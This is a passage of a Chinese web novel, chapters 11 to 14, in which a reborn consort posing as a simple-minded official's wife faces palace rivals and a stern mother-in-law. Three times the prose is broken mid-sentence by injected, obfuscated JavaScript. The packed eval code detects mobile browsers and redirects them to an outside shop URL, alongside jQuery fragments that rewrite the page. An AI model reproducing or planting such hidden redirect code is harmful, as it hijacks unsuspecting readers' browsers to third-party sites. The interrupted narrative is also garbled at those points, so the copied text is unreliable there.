可后来薛贵妃家败身死,这众妃之首的位子,终究还是她坐了。 郑皇后听得秦贵妃出言,弹压住李妃的尖牙利齿,也欣慰一笑:“说起来宫里这些姐妹们,秦贵妃轻易是不说话的,说出话来,别说你们,就是本宫,也总觉得有几分道理。” 秦贵妃如今协理六宫,却尽量低调,与人为善,从不以势压人,是以众妃都附和着郑皇后的话,点头称是。 一片应和声中,却独有一个声音冒出来:“秦贵妃娘娘真好,听说还有一个薛贵妃呢,她呢?她又如何?” 众人笑语未完,闻声色变,这宫里,谁人敢提起薛贵妃? 是不是不要命了? 11. 皇帝 薛灵儿话一出口,银铃般笑了几声,一双大眼睛转来转去,把各宫嫔妃挨着个的看了过去,看了一个够。这一副天真烂漫、痴傻无状的情态,倒是被她演的越来越驾轻就熟。 各宫嫔妃都是微微色变,也不知道是为什么,觉得这傻姑娘的目光有点逼人,不由自主的都躲开了眼神。 就连郑皇后素来处变不惊,此刻唇角笑意也是僵了一下。 席上一时静寂。 秦贵妃瞥一眼郑皇后面色,不紧不慢开口,语气略沉:“薛氏提起这位薛贵妃,你的名字与她只差一个字,大约也是缘法。薛妹妹生前美艳无双,独得圣宠,只是俗语有言,水满则溢,月盈则亏,她在生日宴上被人下毒,虽然皇上重重的惩治了下毒之人,终究是无力回天了。” 郑皇后面色一松,心中赞许秦贵妃得体,只要皇上不在,提一下这忌讳也无妨。谁知李妃又酸酸的一笑:“贵妃娘娘温厚,不肯言她人之非,要是据我说,这位薛贵妃的为人,未免太张扬了些,就说那金贵人为何下毒?还不是薛贵妃当日心气不顺,罚跪害她落了胎,这般杀子之仇,才豁出了自己性命去。” 郑皇后见李妃今日过了分,一双凤眼带了薄怒,朝她一望:“好了,都是不相干的旧人旧事,不要多话了。新罗进贡的果子今年不多,各宫都没有分例,今日拿出来摆宴,且都用一些吧。” 李妃自持有几分皇宠在身,并不把秦贵妃放在眼里,却独独对郑皇后有几分畏惧,于是恭敬答应了一声,借机取了个果子在手中把玩,转了个话题:“谨遵皇后娘娘之命,今年这新罗进了新果子呢,这果子不大,长长的红毛怪有趣的。” 提到枉死的薛贵妃,一后二妃几番对答,薛灵儿在一旁看得真,一丝缝隙也没放过。 冷眼看各宫嫔妃面上瞬间流过的微妙神色,心中也是一股凉气冒上来。 她前世独得圣宠,协理六宫,自己也知道会得罪一些人,成为一些人的眼中钉,可她从不知道,得罪的人有那么多,那么多人对于她的突然陨落,感到如此的快意。 薛灵儿微微闭上眼,深深吸一口气。 左近摆的恰好是新罗进贡的菠萝蜜,前世的薛贵妃,最爱这种香气异常刺激,带点辛辣之感的食物,皇帝会为这种气味掩鼻,也会取笑她,逗她生气。可是这种来自极热之地的珍奇果实,进了皇宫之后,总有一大半进了梧桐宫。 那时候李妃李丽娘就喜欢与她争,没有一次争得过,满宫嫔妃都笑李丽娘不自量力。 可眼下,菠萝蜜的奇异香气,刺得薛灵儿头脑发晕。 前世的自己,处处都要赢,也的确做到了处处是赢家,可是有时候,赢即是输。 叶妃、齐妃、周嫔、容嫔……一张张娇艳的面孔上,闪动的眼神掠过一丝掩藏不住的快意,这还都是前世与她交好的嫔妃。 她协理六宫的时候,御下过于严厉,无心导致金贵人落了胎,也许受到伤害生出刻骨仇恨的,还不止是她。其实并无私心,只是少女时在边关看父亲治军的杀伐果断,不知不觉学了些,却忘了,这些女子并非她的臣下。 真正的君上,从来也不是她。 或许是自己在后宫张扬权势,得宠太过,树了劲敌,导致安国公府被连累,也未可知。 这想法让她再也支撑不住,离座告罪:“皇后娘娘,民妇有些头晕,想在这花园走走。” 郑皇后唇角笑意转松弛,一抬手,温声说道:“去吧。画扇,跟着薛氏身边侍奉。” 画扇是郑皇后宫内的二等大宫女,按规制,一个臣妻哪里当得起她来侍奉?只不过郑皇后顾忌这臣妻痴傻,怕她乱跑乱撞,特意派个稳当人看管着。薛灵儿心中有数,眼见离了百花亭越来越远,呼吸一畅,对着画扇开心笑道:“姑姑,我走路快,你可得跟得紧一点。” 画扇也礼貌性微笑一下:“宋夫人需小心些,这花园岔路多,走岔了路,怕是找不回来。” 薛灵儿腮边露出小小梨涡,响亮地答应了。 到下一个岔路口,转过一丛花木,她就不见了。 眼见画扇慌了神色,将跟着的几个宫人分散出去乱找,薛灵儿偷偷地笑起来。从前跟皇帝嬉闹的时候,她也这么藏起来,皇帝从来都找不到。 等人都走远了,她站起身来,想往梧桐宫的方向走一走,在离旧日宫院更近的地方,站一会儿。 明知现在的身份,往后宫禁地的方向多走一步,也是难,但梧桐宫大门口,有两棵异常高大的梧桐树,这个季节,会有金黄色的树冠,能远远望上一眼,也是好的。 走过一段幽僻小径,果然远远的,望见了那金黄色的树冠,金风飒飒中,仿佛有梧桐木叶的清香远远的飘送过来,又仿佛,昔日宴饮的笙箫之声,随着那木叶清香,隐隐也传到了耳畔。 此刻梧桐宫大门口,金黄的树冠下,站着一个人,半闭着眼,亦将自己浸入在这清幽的香气之中,明黄龙纹服色,飘洒俊逸的身形,正是皇帝沈清远。 皇后殿里,最常用的也是带点低暗幽沉质感的草木清香,原本是他最喜的一种香。 不过昔日的梧桐宫,不是这样。 那个人……她最喜张扬艳丽,她惯常点的苏合香,如同春日的花园百花盛放,隐约还带有蜜糖的缠绵气息,如同一只勾住人的纤纤玉指。 他坐上皇位已经有七年,才刚三十有余,正是风华正茂、血气方刚之年,原本以为自从那人离世之后,自己再也不会被勾动情思,哪曾想到,今日忽然见到一个臣妻脸上,仿佛有她的神情一闪即逝。 忽然之间,心神就彻底凌乱,下了半盘棋,就扔下了宋汝璋,在御花园内信步而走,哪里知道,越来越是烦躁不安,直到来到这梧桐宫门口,才略为的宁定下来。 微微闭着双眼,秋日的阳光沐浴在他身上,也照耀着梧桐宫紧闭的大门,这一处,他有数年,没来过了。 可是今日,有些不一样。 他转头吩咐跟着的首领太监汪德厚:“打开大门。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712019|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汪德厚神色略迟疑,但依样照办,推开了大门。 宽大院落里,有玲珑假山与小桥流水,满院精心栽种了花木。 昔日梧桐宫最繁华鼎盛的那些日子,春季的桃花与海棠,初夏的蔷薇,盛夏的紫藤,花开季节,全是明媚鲜艳的累累花束,每每勾得好热闹的女主人开宴,满宫嫔妃都来陪她,酒醉尽兴而返。 如今清秋时节,满院的名种菊花,绿菊,墨菊,正该含苞吐蕊,可是如今,一个花骨朵都不见。 草木侵占了花木的养分,高大茂盛,在这静寂的院落里,分外显得幽深,自带了三分桀骜不驯之野气。 显然是此间主人离世之后,再无人精心打理之故。 沈清远望着满院花木,有一炷香功夫那么久,又望了望梧桐宫正殿紧闭的大门。 汪德厚神色越发小心:“皇上,进去吗?” 过了足足有半柱香功夫,汪德厚才等到了回答。 “不进去了。”沈清远摇了摇头,转身,离开。 御花园内,薛灵儿望着那金黄色的树冠,站得许久,直到腿有些发酸,方擦去眼角坠下的一滴泪,要折返百花亭,谁知刚转一个方向,就见花树掩映之中,有两个人在拉扯,隐隐约约,是女子死死拉着男子的衣袖不放。 她以为是宫女太监那些纠葛,就是前世撞见,也要装作没看见,把两个奴才惊散了完事,何况今世不过是一个痴傻臣妻,只能自己躲了。 刚想往后退,忽然被纠葛之中的男子叫住:“灵燕,你怎么一个人跑到这里来了?快随我回去。”薛灵儿一听声音,居然是自己今生的名义夫君宋大人。 退无可退,原地定住了脚步,心里只是纳闷,宋大人平日说话只有寥寥数个字,今日怎么变得如此话多? 又听得一个年轻女子声音,骄纵之中泛着满满的不甘:“闹了半天,你娶进门的,就是这样一个人?” 薛灵儿唇边忍不住浮出一个苦笑,她原该想到的。这女子的声音好不熟悉,是她前世的小姑子,灵越公主。 这一说话之间,女子一分神,男子衣袖借机摆脱了女子的拉扯,宋大人大踏步站到了薛灵儿身边,立时又恢复了稳如泰山的凛冽气度,气定神闲,吩咐新夫人:“灵燕,过去拜见灵越公主。” 薛灵儿当年,与灵越公主十分交好。两人都是万千宠爱中长大的大小姐,性子张扬明朗,自然比旁人合得来。灵越公主有事没事,总是爱往梧桐宫跑,因为梧桐宫里,有宫内最美味的吃食,最好玩的奇物,她来了随便玩,随便取,说是像姑嫂,不如说像亲姐妹。 在芍药花开的季节,一个闷湿燥热的晚上,陪她痛骂过不识好歹的宋汝璋,帮她把眼泪一次次的抹干。 不过,那都是前世的事了。 现在,她已经不认得她,只认得这是她的仇敌,一个痴傻姑娘,轻易便得到了她朝思暮想、苦求不得的男人。 让堂堂的一个公主,成了痴傻姑娘的陪衬,成了全京城的笑柄。 12. 挨打 前世姑嫂,亲如姐妹,如今对面不相识,灵越公主打量着眼前的痴傻姑娘,她心上人的新夫人,一双杏眼内,流露出难以置信、屈辱、不忿等诸种表情,薛灵儿心里暗暗叫苦,今日之事,怕是难以善了,这骄横公主要是动起蛮来,让宫人把一个民妇当场杖杀,她也未必干不出来。 就见灵越公主杏眼含泪,指尖微颤,指向薛灵燕,质问宋汝璋:“就是她?凭什么?你不是说,功业不成,誓不娶妻,原来都是搪塞本宫的鬼话……为什么这样对待本宫?” 宋汝璋冷然一退,躬身答道:“回公主的话,一个高僧给臣算过命数,拙荆与臣,是前世注定的缘分,若是违背,会遭天谴,招来杀身之祸,故此不敢违背,还请公主体谅,海涵。” 公主越加气恼,宋汝璋前面搪塞她的,就是一篇鬼话,如今更是离谱,简直鬼话连篇,从头到尾,丝毫没把她一个堂堂公主放在眼里。 一听到苏汝璋的一篇说辞,薛灵儿就在暗暗叫苦。 刚刚二人拉扯的时候,她就发现了,宋大人在别的事上,尚且算是聪明伶俐,稳重靠谱,可是面对女人,尤其对付死缠烂打的多情女子,就是冷冰冰的一个大冰块,简直一点变通的办法都没有。 明明因他娶了痴傻姑娘进门,公主沦为了京城笑柄,偏偏又拿天命来压她,岂不是说,傻媳妇的命数,比公主的命数还金贵?别说是金枝玉叶,就是寻常世家小姐,这口气怕是也咽不下。 眼看公主耳边开始发红,是要转为盛怒,薛灵儿赶紧转动脑筋。 忽然记起来,公主自幼胆小,惧怕鬼神,于是赶紧给宋汝璋抢话帮腔:“是呀公主娘娘,民妇本来已经落水而死,宋大人来灵堂的时候,才从棺材里活过来。宋大人得了皇上的喜欢,只怕是真有鬼神相助呢。你说对不对?” 短短一番话,把命数贵重一事,转移到了宋汝璋身上,显示公主眼光不虚,捧了公主的心上人,就等于捧了公主,薛灵儿说完闭上嘴,冷眼偷观。 还算出招准,灵越公主果然耳边红色慢慢褪去,脸转平和,眼神现出几分犹疑,也觉得这傻姑娘有些来头和门道,否则哪来这么多奇事,落到了她一个人头上? 又觑一眼宋汝璋,高大身形穿着赭红官服,俨然还是高中状元打马游街的模样,曾经那么骄傲不可一世的自己,就是被他那一刻的风华晃花了眼,晃迷了心。 心酸感怀之中,却见此人此刻,站在一个傻姑娘身畔,带着股不言自明的亲密之意,显得那么名正言顺,理所当然,不由得心头火又起。 就算这傻丫头有些邪门,自己堂堂一个金枝玉叶,帝王血脉,难道还压不住她? 于是冷哼一声:“是吗,你这么能耐,有鬼神庇佑,过来行个礼给本宫看看,如果礼数不周,本宫就罚你。” 薛灵儿最是了解公主的性子,杀人的胆子她虽然已经被自己震吓住,打人出气的心思怕是难消,转着眼珠正在想说辞,却见宋汝璋开了口:“公主殿下,灵燕刚受封二品诰命,皇命特赦,不拘于礼。” 薛灵儿心内又是一番叫苦不迭。 宋汝璋所说,也不能算错,但当这个话口,却是大大的错了。 公主是被宠坏了的小孩子脾气,只能顺毛哄,最是不受人激。偏偏宋汝璋也是个死硬死硬的刚硬脾气,现在一心护着傻妻子,一味的正面硬刚,先拿天命,又拿皇命来压她。 难怪公主数年痴恋,半点儿没有结果,这二人,天生脾气就是相克,哪里能有夫妻缘分。 他们的恩怨,本也与薛灵儿无关,可是今日,这两人硬碰硬,薛灵儿要成为炮灰。 公主一张俏脸果然被激得通红,咬牙转头吩咐宫人:“取刑杖来。” 宋汝璋倒也是真刚硬到底,从从容容,顶天立地往薛灵儿身前一挡:“灵燕是臣的妻子,谁也欺不得她。” 虽说他是一片好意,薛灵儿还是被他气晕,真不愧是没动过情没娶过妻的钢铁男子,说话做事,处处都往女人的心窝子上戳。 本来说几句软话,说不定公主心软,这倒好,在她面前,往死里护着傻媳妇,公主还不得连他一起打? 宫人脚步飞快,取来刑杖伺候在一旁,果然见公主怒喝一声:“两人一起打!” 一见宋大人护不住自己,薛灵儿眼珠四下里转着看着,这才想起来,自己可以不顾什么大家闺秀、诰命夫人的礼仪规矩,可以抬腿就跑。 反正是个傻子,别说是跑,就算飞上天,只要能飞得上去,也行。 于是她乘着围过来的宫人不注意,一个箭步,窜出了人群,一溜烟地,往百花亭皇后嫔妃的方向奔去。 一见她敢跑,不用公主吩咐,宫人自然后面追赶,可惜,追不上薛灵儿少女时代在大漠边关追野兔子练就的功夫。一行人不顾礼仪规矩,在皇宫大内狂奔,太监宫人全看呆了,连司礼监首领路过,都忘了呵斥阻拦。 正跑的脚下生风,忽然前方一人明黄长袍,挡住了去路,凭前世伴驾对这服色的本能反应,薛灵儿赶紧停了脚步,这才没有一头撞进皇帝的怀里。 薛灵儿迎着皇帝诧异的神色:“皇上,救救我,公主打人了,公主要打我!” 皇帝温声安慰道:“别怕,跟在朕后边。” 薛灵儿得了护身符,收了慌张神色,跟在圣驾后,一行人转眼来到公主动刑之处,远远的就看见,宋汝璋的赭红官服开了绽,露出雪白的中衣,沾了血。 皇帝罕见的动怒,喝一声:“胡闹!” 因为先皇与皇太后薨世得早,沈清远怜惜这个幼妹,未免娇惯了些,哪成想居然胆大包天,殴打重臣,妹子苦恋宋汝璋的前情他都知晓,此番事端,定是因幼妹争风吃醋而起,盛怒之下也不问话,转头吩咐贴身首领太监汪德厚:“吩咐内务府,灵越公主禁足百日。” 灵越公主白了脸色,她整日满皇宫里转悠,还嫌闷的无聊,什么时候受过这么重的刑罚,禁足百日那还不憋坏了她,委委屈屈想讨个饶,张嘴刚叫了一声“皇兄”,就见皇帝脸色更阴沉:“再多话,交慎刑司发落。” 慎刑司……灵越公主深吸一口气,那是发落奴才的地方,血腥气终年不散,想不到皇兄今日对自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712020|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己如此凶狠,当下学了乖没再说话,任由宫人将自己搀扶了,摆驾回宫。 又一想到今日之事,也真奇了,这痴傻女子,宋汝璋居然不顾自身安危代她受刑,连皇兄也是一反常态,为这个女子大动肝火,把亲妹看得如同草芥。 心内怨愤一起,便转回头,又盯了薛灵儿一眼,眼神充满了恨意。 恰好薛灵儿在盯着她的背影发怔,二人眼神一对上,薛灵儿转开了视线,心下是一片黯然。前世与她的那些情分,是再也不会回来了。 遣开了惹事的公主,皇帝望一望宠臣身上的血迹:“汪德厚,吩咐太医院院判,跟宋大人回府,治伤。” 院判是众太医之首,遣去臣子家,已经算是极大的面子,宋汝璋赶紧携着薛灵儿谢恩,告退,因为公主闹的这一场风波,夫妻二人连皇后和众嫔妃也未曾辞别,匆匆离了皇宫。 在宫门口坐上来时的马车,宋汝璋带伤不能骑马,与她一同登车,二人肩并着肩,却是各怀心事,相对无言。 马车跑动起来,随着帘外的微风吹进来,男子身上的热力扑到薛灵儿身上,激得她感觉颇不自在,不自觉地往车边挪了挪。 宋汝璋却误会了,带着歉意说道:“是我身上的血腥气,熏到你了。” 薛灵儿一转眼,瞥到宋大人身上血迹,这才从母家受冤的事情上挪开心神,忽然想起,当时他一力护着自己,愿意以身子去挡刑杖,而自己却扔下他,跑了,似乎有点……不太讲义气。 于是半红着脸,开言说道:“……大人,我不是故意扔下你的,我看她那么喜欢你,就没想到她真的能下手打你,早知道的话,我就不跑了,下次我也拿身子护着你,好不好?” 宋汝璋正在伤口疼痛之中,听见这番话没头没脑,一见薛灵儿仰着小脸,乌溜溜大眼睛里满是歉意诚恳之态,忍不住就笑了:“小孩子都怕挨打,有什么稀奇,事情本就因我而起,我护你周全,是应当的。你不必为此介怀。” 薛灵儿听得这话有些奇怪,薛灵燕虽然心智不全,也是个大姑娘了,怎么宋大人完全把她当小孩子看待,但也没深想,只是听他说话,是非恩怨,极为分明,并不因自己伤痛而迁怒于人。 深想起来,这份君子磊落,光风霁月,薛灵儿前世认得的公子王孙、世家子弟,论起人品心志,当真未有一个及得上他的人。 也难怪灵越公主一意孤行,痴心不改。 感动加敬佩之余,薛灵儿心口一热,脱口便道:“大人,我给你擦药治伤吧,不然实在是……过意不去。” 宋大人又被逗笑了一下:“你的衣食还需丫鬟细心照料,什么时候学会给人擦药治伤了?” 薛灵儿警醒过来,原来自己泄漏了前世在边关的本事,便信口遮掩道:“小的时候跟娘学过,给小兔子擦药治伤,怎么就不行了?再说了,大人是为了护着我才受伤,如果我不照料你,婆母……婆母她老人家,岂不是更要怪罪于我?” 提到了母亲谢氏,宋汝璋脸色也是一紧,寡母严厉,如果知道他在宫内受了刑杖,这一关,怕是不好过。 13. 家法 马车到了宋府门口,谢氏带着苏玉茹,并家人仆妇,早就在门口迎候。 正等的心焦,好容易盼到车队从皇宫的方向回来,当先却是太医院的黑漆金印马车,本就提着心,这一下子悬到了半空。 等看到儿子儿媳从马车上下来,儿子行走如常,只是官袍开绽,白衣染血,稍稍松了一口气,又一眼望到儿媳眼神闪躲了她,心下猜疑又是傻儿媳惹了祸,正待发作脾气,却见花白胡子的院判陆大人提着药箱,从马车上下来,于是暂且耐住了脾气,去招呼院判大人。 宋汝璋由力气大的男仆搀扶着,一行人进了府,再由关系切近的几个人,簇拥着回住处,先行诊疗治伤。 薛灵儿主仆一路跟到宋大人日常安置的南书房,院判陆大人和随行徒弟,并几个要紧男仆,进了伤者卧房,谢氏与薛灵儿、苏玉茹等女眷,外间水榭的厅堂,喝茶等候。 半晌过后,太医师徒俩提着药箱出来,谢氏忙迎上前去,请二人落座歇息,令下人奉上了上好清茶。那陆大人饮下一口茶,闭目歇息半晌,方才开口说话。 “老夫人不必担忧,宋大人受的不过是皮外伤,并没有伤筋动骨。” 谢氏绷紧的面皮这才松下来,舒了一口气,道谢道:“有劳陆大人费心诊治了。” 陆大人接口道:“老夫人无需客气。老夫想来,公主要责打宋夫人,也不过是一时之气,那宫人动手的时候,自然心里有数,故此下手格外轻些,只是皮开肉绽,看上去格外有些骇人,将养些时日,自然就痊愈了。” 谢氏本就在狐疑,好好的入宫受封诰命,怎么闹成这个样子,搞得跟闯了龙潭虎穴一样,一听太医院判说明了原委,果然毛病还是出在傻媳妇身上,当时脸皮又绷紧,只是口内答应着太医:“如此说来,陆大人可有什么治伤灵药吗。” 陆大人又饮一口茶,抬了一下下巴示意徒弟取药。那年轻太医从医箱内拿出药膏,又细心叮嘱如何敷在伤口之上,谢氏狠狠盯了傻儿媳一眼,秋香扭了薛灵儿肩膀一把,薛灵儿忙站起身,垂首恭敬听完,悉数应下。 忙乱了一阵,送走太医院的人,谢氏携着薛灵儿转回宋汝璋的书房,薛灵儿一看苏玉茹被特意遣走,秋香也被留在水榭,心道不好,婆母这是一刻都等不得,要跟自己算账了。 果然,谢氏一张脸板的铁紧,拉着薛灵儿的衣袖,脚下生风,便闯进了宋汝璋养伤的卧房。 宋汝璋因伤在背后,刚被太医料理包扎敷药,如今面朝下,伏在春凳上安静养伤。一见母亲面色不善,一手扯着薛灵儿闯进卧房,心里也是一紧,赶紧开口:“母亲,儿子不要紧,只是皮外伤。” 宋汝璋因养伤姿势压住了胸口,说话声音比平日微弱些,听在谢氏耳朵里,却是受伤气弱,可怜之状,再一看爱子白布裹身,血迹斑驳,越发心如刀割,把薛灵儿往宋汝璋的春凳边上一搡,板着脸问罪。 “她说不清楚话,你来说。究竟怎么回事。” 宋汝璋知道母亲心思缜密聪慧,也不敢隐瞒,原原本本说了一遍。 先是,被皇帝召到乾清宫下棋,可皇帝也不知为何,心神不宁,中途离开又回来,一盘棋三番两次,终于成了残局。 等离开乾清宫,中途却碰到了灵越公主,拉住他的衣袖理论当年是非,不成想薛灵儿一头撞了来,三言两语之间,就动了气性,如此原原本本,把经过讲了一遍。 谢氏听得明白,点了点头,目光威严,对着薛灵儿说道:“跪下。跪在夫主身边。” 薛灵儿今日也不知自己冲撞了哪路神仙,不过进皇宫封了个诰命,先是要被前世的小姑子打,回到家里,又要被名义上的婆母打。怎么办,还能像在皇宫一样故伎重演,一跑了之吗,她眼珠转动着,没拿定主意。 宋汝璋又抢先说话了:“母亲,不怪灵燕,公主恼的人,本就是我,不过想拿灵燕出气罢了,儿子以身护她,应当的。” 薛灵儿又被气到了,这个钢铁男子,挨打也不长记性。无论是对付媳妇还是娘,他都堪称冥顽不灵,女子最忌讳听到的,就是另一个女子比她重要。抽空真得想个法子,教教他。 正想往门口挪蹭,趁机逃跑,就听谢氏长叹一口气:“你说的道理,我何尝不知,我如今也不是迁怒你媳妇,只不过,有一番侍奉夫君的道理,要教给她。” 薛灵儿一听,这婆婆倒是不同于一般婆婆,跟她儿子一样,能讲道理,于是暂且打消了逃跑的念头,依着婆婆的话,在宋汝璋的春凳身边跪下。 就见谢氏神色端肃,语声低沉:“灵燕,从你进门来,我观你说话行事,也并不像传说中那般傻气,还是有几分灵机,有些道理,为娘的得教教你。” 薛灵儿听着这话不像是歹意,于是垂头答应了一声:“灵燕明白。” 谢氏脸色宽慰了些:“今日之事,并不是由你而起,本来怪不得你,可是你依旧错了,你可知错在哪里?” 薛灵儿心里发虚,依旧垂着头:“灵燕不知。” 谢氏长叹一声:“夫妇本为一体,夫君挣来的荣华富贵,你受了,夫君带来的灾殃,你也不能躲。况且,女子以夫为天,就是为夫君舍命,也是应当的,哪有自身躲开,让夫君以身相代的道理。” 薛灵儿一听这篇大道理,根本无可辩驳。前世她入宫侍奉君王,母亲也曾对她说过这番话,想起母亲慈和的语气,温柔的面庞,薛灵儿心内一酸,语声带一丝颤,答道:“母亲教导的是,灵燕知道错了。” 谢氏唇边露一丝笑意:“认错就好,责罚却也不能免,我宋家赏罚分明。”便转头吩咐守在门外的大丫鬟:“取家法来!” 薛灵儿立刻觉得上了当。 这老太太跟她母亲完全南辕北辙的两个人,毫无半点慈爱之心,这是要用大道理来辖制人了,赶紧眼神一溜,看向门口的方向。估量着,有几成把握,能一把推开守门的大丫鬟,夺路而逃。 这时候春凳上的宋汝璋费力抬起头来,开了腔,发了话。 “方才母亲教育灵燕的一番道理,固然有理,可是儿子不能赞同。” 谢氏虽然早料到他有此一说,真听到他说出口来,还是气得眉头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712021|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱:“哦?你有何道理?” 薛灵儿好奇心升起,暂且放弃逃跑念头,冷眼偷观,见宋汝璋虽然被压着胸口,气息微弱,面色发白,依旧侃侃而谈。 “母亲方才讲到,夫妇本是一体,那么灵燕既然是我妻子,这刑杖无论谁来承受,于对方而言,也算不上过错。至于母亲说的,女子以夫为天,这道理固然不错,可灵燕她,心智未全,说话行事如同孩童,这样的女德女训并不适用于她。苛责她,无异于欺凌弱小。” 薛灵儿眼前一黑,打算从此以后,对宋汝璋的庇护不报指望。 论道理,当然是他对。 想那婆母谢氏是侯府之女,在女子之中已经算是不凡,但宋汝璋是掌管翰林院的二品大员,整天在文人学子之中,讲经论道,高谈阔论,讲论大道理,谁能讲的过他?是以谢氏堂前教媳的两番道理,被宋汝璋反驳了一个体无完肤。 可惜,做人这回事,从来不是以道理论输赢的,否则也用不着像她爹安国公那样几十年如一日,在边关用兵打仗了。 谢氏果然被儿子激怒得面孔发红,直声斥问:“我是她婆母,我教不得她,罚不得她?” 薛灵儿心内叹息,刚直之人,招数当真有限,这一轮,谢氏拿身份压人了,跟宋汝璋在皇宫里的招数一模一样。 宋汝璋倒也直接干脆:“母亲所言没错,只是儿子要护灵燕周全,动什么家法,儿子愿意以身相替。” 谢氏声音都变了:“你说替就替?你是我的儿子,父母之命你敢违抗?” 宋汝璋竟是丝毫不退:“父母之命虽不能违抗,可我现是族长,家族一事我也管得。” 谢氏朗声一笑:“好个族长!如此一说,也不用你以身相代,倒是我要以身相代,我这就去领罚,去祠堂思过。” 谢氏说完,脚下如风,携着大丫鬟离开了宋汝璋卧房。 薛灵儿万万没料到这种变化,撑着身子从地上起来,膝盖已经跪得发麻,她前世今生加起来,见过许多奇人奇事,见过很多大场面,可第一次见到这样的人,尤其还是个女子,也是感到不知所措。 忍不住就张皇望向了宋汝璋:“大人,怎么办,我去祠堂认错,把婆母请回来?” 宋汝璋摇摇头:“与你不相干。母亲是与我争执,你去了也没有用,且现下她刚动气,也得等她消消气,明日伤口好些,我去请她。” 薛灵儿点点头。她只见过人生气的时候折腾别人,没有想过,世界上有这种人,要折腾自己来出气。 此时流云进来:“大人,遵陆大人的嘱咐,此时该敷药了。” 宋大人对薛灵儿笑一笑:“你回悲寥轩吧,折腾了这么许久,也累了。” 薛灵儿一想,自己在旁,敷药也是不方便,于是点点头:“大人我走了。” 走到门口,就听流云在里头说:“大人,小的不擅长敷药……” 宋大人叹一口气:“去找李妈妈来。” 薛灵儿又折返回去:“大人,我给你敷药。” 她欠他良多,现在真心愿意服侍他。 14. 喂饭 还不等宋大人表态,流云抢先接话,喜动颜色:“夫人能敷药,那小的就放心了,李妈妈老眼昏花,如何做得这精细活计?” 宋汝璋一想,也没有别的办法,自己屋内屋外没有女使,如今擦药治伤需要肌肤接触,唯有薛灵燕还是孩童心性,倒也不必太过避讳。 薛灵儿自从嫁进门,总算找到了一样自己擅长的活计,三下五除二,净了手,轻轻剥开裹伤的绷带,一看伤口皮肉外翻,有些触目惊心,也不敢细看。 太医院留下的金创药自然是最好的,一打开便是清凉气息,薛灵儿将它细细涂抹在伤口上,又把绷带裹好,舒了一口气。 宋汝璋虽看不见,也感受到薛灵儿手法稳定,涂药均匀细致,不同寻常,心中微微觉得诧异,流云更是脱口赞道:“想不到夫人有这好本事,今后大人擦药治伤的事,就都归您了。” 薛灵儿还没来得及说话,外头有厨役通传,午饭摆上来了。 流云得了甜头,得寸进尺:“大人活动胳膊,怕是要牵动伤口疼痛,还是有人喂饭的好,夫人,这事恐怕还是劳烦您。” 薛灵儿一看,流云说的也是实情,于是慨然应下:“如此也好,秋香在水榭,你把她叫过来一同用饭。” 不多一时,把饭摆好,薛灵儿一看厨房拿过来的菜肴,日常用牛羊肉、鱼虾等,凡是不利于将养伤口的发物,一律没有,都是清热的爽口汤羹菜蔬,于是好奇问一句厨役:“今日的菜谱是谁定的?” 厨役也好奇瞥一眼薛灵儿,都说新娶的长房少夫人痴傻,这么一看,眼神清明,说话有纹有路,似乎也还不那么傻,于是恭敬答道:“回少夫人的话,是老夫人特意嘱咐过的,送到灵犀阁的菜,不用发物。” 薛灵儿与宋汝璋对视一眼,二人内心均泛过了一阵羞愧,宋汝璋低声说:“明日我便去祠堂请母亲回来。”薛灵儿点点头,用筷子夹了一个小小馒头,喂进了宋汝璋嘴里。 宋汝璋咀嚼两下,咽了下去,额角青筋与喉结微微牵动,薛灵儿又擎起一小碗荷叶汤,拿汤匙喂到他嘴里。 薛灵儿忽然察觉,二人的距离太近了些。 宋汝璋的呼吸从她的耳廓擦过,他的浓眉,清冷的瑞凤眼,清晰深邃的五官轮廓,忽然都变得有些锋锐逼人。 前世,她也就和皇帝这样接近过。 汤羹的热气扑在薛灵儿脸上,薛灵儿半边面孔发了红,身子往后退了退。 赶紧把心思往旁的地方移,禁不住想起方才,宋汝璋劲瘦有力的背部,新伤之下,还有十几道旧伤疤,看上去也是刑杖之伤,只是陈旧发亮,有数年之久。 薛灵儿心内奇怪。俗语说刑不上大夫,这宋汝璋科考一帆风顺,年少成名,究竟是什么人什么事,能在他身上留下杖刑呢。 薛灵儿好奇心被勾起,有心探问,却又觉得关系实在不够熟,不知从何问起,一时心痒难熬,宋汝璋却是浑然不知,泰然自若吃下饭食,开口说道:“我用好了,你也坐下吃些。” 